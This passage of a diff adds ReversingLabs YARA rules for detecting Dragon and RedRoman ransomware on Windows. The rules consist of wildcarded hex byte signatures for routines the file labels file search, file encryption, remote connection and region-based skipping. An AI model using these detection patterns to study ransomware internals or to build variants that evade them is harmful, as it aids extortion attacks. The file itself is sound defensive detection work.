+            ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A
+            ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 85
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B C3
+            50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50
+            E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 59 59 5F 5E 5B 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            59 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 8B 85 ??
+            ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 83 C5 ?? C9 C3
+        }
+		$remote_connection_1 = {
+            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 85
+            ?? ?? ?? ?? 50 8B F9 8B F2 68 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 33 DB 53 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 89 85 ?? ?? ?? ?? 66 C7 85
+            ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53
+            88 1F 50 88 1E 66 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D
+            85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 38 9D ?? ?? ??
+            ?? 59 59 75 ?? 68 ?? ?? ?? ?? C6 07 ?? E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 59 89 85 ?? ?? ?? ?? 33 F6 BB ?? ?? ?? ??
+            56 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 53 E8 ?? ?? ?? ?? FF 85 ?? ?? ?? ??
+            46 83 FE ?? 59 59 7C ?? EB ?? 53 E8 ?? ?? ?? ?? 59 83 BD ?? ?? ?? ?? ?? 7C ?? C6 07
+            ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 F6 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 66
+            89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 50 FF
+            B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 68
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 3B C6 0F 8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 89 B5 ?? ?? ?? ?? 0F 84 ??
+            ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 56 E8 ?? ??
+            ?? ?? 59 50 56 8D B5 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 8B C8 85 C9
+            89 8D ?? ?? ?? ?? 7D ?? C6 07 ?? 51 E9 ?? ?? ?? ?? 83 F9 ?? 0F 8C ?? ?? ?? ?? 83 BD
+            ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? 33 C0 8D BD ?? ?? ?? ?? 66
+            AB 40 3B C8 89 85 ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? 8D 47 ?? E8 ?? ?? ?? ?? 85 C0 59 59 0F 85 ?? ?? ?? ?? 8B 77 ?? 2B 37
+            8D 46 ?? 50 E8 ?? ?? ?? ?? 59 56 6A ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 07 8B
+            8D ?? ?? ?? ?? 83 C4 ?? 03 C8 51 8B 4F ?? 2B C8 51 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 59 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 59 40 50 E8
+            ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? 8B F0 6A ?? 56 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? FF B5 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 56 53 C6 04 06 ??
+            E8 ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 56 E8
+            ?? ?? ?? ?? 83 C4 ?? 50 56 8D B5 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6
+            3B C6 59 59 0F 8C ?? ?? ?? ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85
+            ?? ?? ?? ?? 83 F8 ?? 7E ?? 48 8D B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 85 C0 59 59 75 ?? 8B 06 8B 8D ?? ?? ?? ?? 03
+            C8 51 8B 4E ?? 2B C8 51 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            83 C6 ?? FF 8D ?? ?? ?? ?? 75 ?? 33 F6 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 39 B5 ??
+            ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF 85 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 83 C7 ?? 3B 85 ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 85 C0 59 59 0F 85 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 59 59 B0 ?? E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 50 53 C6
+            01 ?? E8 ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 59 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            59 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 74
+            ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 53 C6 00 ?? E8 ?? ?? ??
+            ?? EB ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C6 00 ?? EB ?? 0F
+            84 ?? ?? ?? ?? C6 07 ?? FF 15 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 59 59 83 BD ?? ?? ??
+            ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 32 C0 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $search_and_encrypt_files and $remote_connection_1 and $remote_connection_2
+}
+rule REVERSINGLABS_Win32_Ransomware_Dragon : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Dragon ransomware."
+		author = "ReversingLabs"
+		id = "dbeab955-f1fe-57eb-a9a4-c8c885ab7fad"
+		date = "2020-10-30"
+		modified = "2020-10-30"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Dragon.yara#L1-L149"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "7298c5681deaf04abb6a656cefc09b5ee4096ff7a5028caab1d7b107e97be90a"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Dragon"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$remote_connection_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            85 C0 0F 85 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? 83 EC ?? 89 45 ?? 8B
+            CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC E8 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8B D0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6
+            45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ??
+            ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ??
+            ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ??
+            ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1
+        }
+		$remote_connection_p2 = {
+            81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ??
+            52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ??
+            ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F
+            87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 8D 4D ?? 8D 55 ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? 0F 43 4D ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 83 FA
+            ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ??
+            83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B
+            49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ??
+            64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$find_files_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 83 EC ?? 89 8D ??
+            ?? ?? ?? 8B D4 8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02 ?? 8A 01 41
+            84 C0 75 ?? 2B CE 8B B5 ?? ?? ?? ?? 51 56 8B CA E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D
+            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 8B 1D
+        }
+		$find_files_2 = {
+            8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ??
+            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75 ?? 83 C1 ?? 83 C0 ?? 84 D2 75 ??
+            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ??
+            ?? 56 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 51 8B D4 8D 8D ?? ?? ?? ??
+            8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02 ?? 8A 01 41 84 C0 75 ?? 2B
+            CE 8D 85 ?? ?? ?? ?? 51 50 8B CA E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ??
+            83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 57 FF D3 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F
+            5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$skip_hk_china_taiwan_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ??
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? 89 45 ?? 8D 4D ?? 6A ??
+            68 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D
+            4D ?? 83 7D ?? ?? 8D 55 ?? 0F 43 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ??
+            68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8
+            ?? 0F 85 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ??
+            ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 55 ??
+            83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83
+            C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72
+            ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8
+            ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ??
+            ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8
+        }
+		$skip_hk_china_taiwan_p2 = {
+            0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42
+            8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ??
+            ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83
+            C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? B0 ??
+            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 55 ??
+            83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83
+            C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72
+            ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8
+            ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ??
+            ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ??
+            0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42
+            8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ??
+            ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1
+            83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? E8
+            ?? ?? ?? ?? E8
+        }
+		$crypt_files = {
+            8B FF 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 45 ?? 89 45 ?? 89
+            4D ?? 56 8B 75 ?? 85 C9 75 ?? 33 C0 E9 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 83 20
+            ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 53 8B C6
+            8B D6 C1 FA ?? 83 E0 ?? 57 6B F8 ?? 89 55 ?? 8B 14 95 ?? ?? ?? ?? 89 7D ?? 8A 5C 3A
+            ?? 80 FB ?? 74 ?? 80 FB ?? 75 ?? 8B C1 F7 D0 A8 ?? 75 ?? E8 ?? ?? ?? ?? 83 20 ?? E8
+            ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? F6 44 3A ?? ?? 74 ?? 6A
+            ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 8D 7D ?? AB 56 AB AB E8 ?? ?? ?? ??
+            59 84 C0 74 ?? 84 DB 74 ?? FE CB 80 FB ?? 8B 5D ?? 0F 87 ?? ?? ?? ?? FF 75 ?? 8D 45
+            ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 E9 ?? ?? ?? ?? FF 75 ?? 8B 5D ?? 8D 45 ?? 53
+            56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 4D ?? 8B 55 ?? 8B 04 8D ?? ?? ?? ?? 80 7C 10
+            ?? ?? 7D ?? 0F BE C3 8B 5D ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 75 ?? FF 75 ??
+            8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB
+            ?? FF 75 ?? 8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB ?? 8B 4C 10 ?? 8D 7D ?? 8B 5D ?? 33
+            C0 AB 6A ?? AB AB 8D 45 ?? 50 FF 75 ?? 53 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ??
+            ?? ?? ?? 89 45 ?? 8D 75 ?? 8D 7D ?? A5 A5 A5 8B 4D ?? 8B 55 ?? 8B 45 ?? 85 C0 75 ??
+            8B 45 ?? 85 C0 74 ?? 6A ?? 5E 3B C6 75 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 89 30 EB ?? 50 E8 ?? ?? ?? ?? 59 EB ?? 8B 04 8D ?? ?? ?? ?? F6 44 10 ?? ?? 74
+            ?? 80 3B ?? 75 ?? 33 C0 EB ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 20
+            ?? 83 C8 ?? EB ?? 2B 45 ?? 5F 5B 8B 4D ?? 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($skip_hk_china_taiwan_p*)) and ( all of ($find_files_*)) and ($crypt_files) and ( all of ($remote_connection_p*))
+}
+rule REVERSINGLABS_Win64_Ransomware_Redroman : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects RedRoman ransomware."
+		author = "ReversingLabs"
+		id = "c860586a-fa50-5bb4-a3b4-13506f9d6030"
+		date = "2021-05-10"
+		modified = "2021-05-10"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.RedRoman.yara#L1-L82"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6fb2ac0e7f7ac095766e27c057e5124406dc493c08d01a7e5381403d794c7240"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "RedRoman"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ??
+            ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ??
+            ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? ??
+            ?? ?? BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 C7 84
+            24 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 85 C0 75 ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8D 84 24 ?? ??
+            ?? ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 45 33 C0 BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 6B C9 ?? 48 89 84 0C ?? ?? ?? ?? 48 C7 84 24
+            ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 85 C0 75 ?? B8 ?? ?? ?? ?? 48 6B C0 ?? 48 83 BC 04 ??
+            ?? ?? ?? ?? 74 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 84
+            24 ?? ?? ?? ?? EB ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ??
